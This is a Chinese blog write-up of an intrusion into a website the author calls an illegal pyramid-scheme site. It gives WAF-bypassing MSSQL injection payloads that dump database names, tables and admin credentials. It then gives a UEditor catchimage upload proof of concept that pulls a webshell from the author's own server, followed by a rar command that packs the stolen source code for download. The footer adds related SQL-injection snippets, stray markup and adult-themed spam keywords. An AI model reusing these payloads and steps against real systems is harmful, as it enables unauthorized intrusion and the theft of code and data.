<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次對某非法站點從SQL注入到整站打包與本地搭建全過程

    VSole2023-01-14 10:51:42

    0x01 前言

    如題,由于是在已知有一處sql注入的情況下才接手進行的后續操作,因此前面信息搜集則一筆帶過。

    0x02 信息搜集

    目標是個本地的傳銷站點其大致信息為IIS+ASP.NET+安全狗、騰訊云。

    0x03 Bypass Sql

    3.1 Fuzz

    空格      error
    加號      未攔截
    等號      error
    單引號     error
    雙引號     未攔截
    雙括號     未攔截
    +select     error
    %0bselect   未攔截
    %0bselect%0buser%0bfrom 未攔截
    %0bselect%0buser%0bfrom%0badmin 攔截
    convert()   未攔截
    

    根據如上測試可以看出程序本身也有過濾,error為程序自身的過濾。可以利用IIS處理%符號的機制繞過部分符號,例如空格使用%0b 加號使用%2b等。再根據測試的結果,可以先利用convert轉換報錯獲取一部分信息。

    goodscontent.aspx?gid=convert(int,@@version)#版本信息
    goodscontent.aspx?gid=convert(int,db_name())#數據庫信息
    goodscontent.aspx?gid=convert(int,user_name())#當前數據庫用戶
    ……
    tips:可以通過遍歷db_name(1)中的數字獲取其他庫名
    

    得到以下信息:

    ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
    數據庫版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
    用戶名:sa
    計算機名:10_*_76_*\SQLEXPRESS      10.*.76.*
    當前庫:pan20170823
    所有庫名:
    pan20170823
    master
    tempdb
    model
    msdb
    ReportServer$SQLEXPRESS
    ReportServer$SQLEXPRESSTempDB
    

    再往下就是獲取表的信息

    goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#獲取表總個數
    

    由于我只會簡單的select from因此始終無法獲取表名,如果有其他姿勢還望給科普下。

    3.2 萬金油

    此時陷入僵局,后來想起在404大佬的一篇bypass安全狗的文章中提到過在mssql中注釋加換行同樣成立,遂構造之。


    goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/
    PS:由于注入點已經使用了convert做了數據轉換,后續直接防入查詢即可
    

    獲取到第一個表名:jsrecord

    由于還是沒能繞過單引號和等號,我始終用不了not in與for xml path來爆后續的表名,這又觸及到了我知識盲區,因此只好查閱大量文章案例,最終構造出如下語句。

    /goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
    

    此時只需要遍歷top的數值即可,例如:

    /goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
    

    通過不斷的遍歷數值發現還是存在問題,舉個例子,即 1-20、200-209,334-345返回同一個表名,存在大量重復與無序的情況,但可以通過burp中intruder->Grep-Extact功能來解決,操作如下:

    首先設置好intruder對001-600進行遍歷(超過600多后就沒什么內容了)

    然后使用Grep-Extact提取表名。

    保存結果后去重即可。

    和前面獲取到的表總個數是一致的。

    解下來就是獲取memberadmin表中的列名與內容,但在此之前我還是習慣性的看了下后臺的網頁源代碼。

    如圖,盲猜列名txt_nickname、nickname、txt_password、password


    /goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/
    


    /goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/
    

    0x04 后臺getshell

    登陸后臺

    經測試后發現信息管理處可以發布咨詢,上傳圖片。通過修改去掉filename="1.aspx"中的雙引號繞過安全狗,但無法繞過程序自身的檢測。

    Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx
    

    不過得知上傳組件為ueditor,且.net版本存在上傳漏洞,poc如下

    <form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
    <p>shell addr:<input type="text" name="source[]" />p >
    <input type="submit" value="Submit" />
    form>
    

    并在自己的服務器上準備好shell(注意過狗),名稱為a.gif,然后填入shell地址

    https://o0o0.club/a.gif?.aspx
    

    提交后即可得到shell路徑

    0x05 打包源碼與數據庫

    在有了shell之后要做的事情就更明確了,即是打包源碼與數據庫,由于只需要這兩樣操作,相對于不需要太大的權限,避免操作不當觸發警告,因此我選擇先通過shell來進行打包操作。

    源碼

    這里利用的是自行上傳的rar.exe來分卷打包源碼,在此之前嘗試過7z.exe(目標服務器上已安裝)、makecab 但效果并不理想,姿勢不夠還望科普。

    rar.exe a -r -v50m -m5 pan20170823 *.*
    #a 壓縮
    #-r 打包子目錄
    #-v 分卷大小
    #-m 壓縮等級
    #pan20170823目標目錄
    #*.* 打包后文件名為 pan20170823.part*.rar
    

    最終以每秒100k的速度下載完成。

    數據庫

    略過,后臺自帶備份功能

    坑點:后臺的備份文件后綴為zip,下載回來總是提示文件損壞,一直以為備份功能有問題,后來發現文件頭是TAPE。。。。

    0x06 本地搭建

    本地搭建的環境為:Windows server 2012+IIS8+SQL Server 2008,簡單講講0.0

    SQL Server

    安裝過程略過,導入數據,新建數據庫,然后通過原設備還原數據

    還原成功

    IIS與ASP.NET

    安裝一筆帶過,左邊拉滿就行,簡單粗暴

    添加站點

    最好對應目標版本

    修改源碼中的配置文件

    訪問

    sql注入select
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    id=3';對應的sqlselect * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    sql注入原理:業務端代碼從客戶端接收到惡意payload之后沒有進行過濾直接進行sql語句拼接并且執行造成sql注入本人正在拜讀一本代碼審計的書感覺非常的棒,剛剛好室友在挑戰自己,就順便整理一下知識點!看了一下也沒問題,繼續往下走,發現室友mybatis里的sql全部是使用$拼接的!
    在云SQL上獲取shell
    2022-07-18 17:00:27
    云上的關系數據庫服務,它是由 Google 保護、監控和更新的SQL、PostgreSQL 或 MySQL的服務器。托管 MySQL 實例的限制由于Cloud SQL是一項完全托管的服務,因此用戶無權訪問某些功能。在MySQL中,SUPER權限保留用于系統管理相關任務,FILE權限用于讀取/寫入運行 MySQL服務器上的文件。
    代碼審計,說白了就是白盒測試,審查代碼檢查是否有安全問題,核心就兩點:跟蹤用戶輸入數據+敏感函數參數回溯。
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    我見過的流量分析類型的題目總結: 一,ping 報文信息? 二,上傳/下載文件 三,sql注入攻擊 四,訪問特定的加密解密網站 五,后臺掃描+弱密碼爆破+菜刀 六,usb流量分析 七,WiFi無線密碼破解 八,根據一組流量包了解黑客的具體行為例題:一,ping 報文信息?如果是菜刀下載文件的流量,需要刪除分組字節流前開頭和結尾的X@Y字符,否則下載的文件會出錯。
    SQL手工注入總結
    2021-11-11 08:19:35
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。本文主要把以前學過的知識做個總結,不會有詳細的知識解讀,類似于查詢手冊的形式,便于以后的復習與查閱,文中內容可能會存在錯誤,望師傅們斧正!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类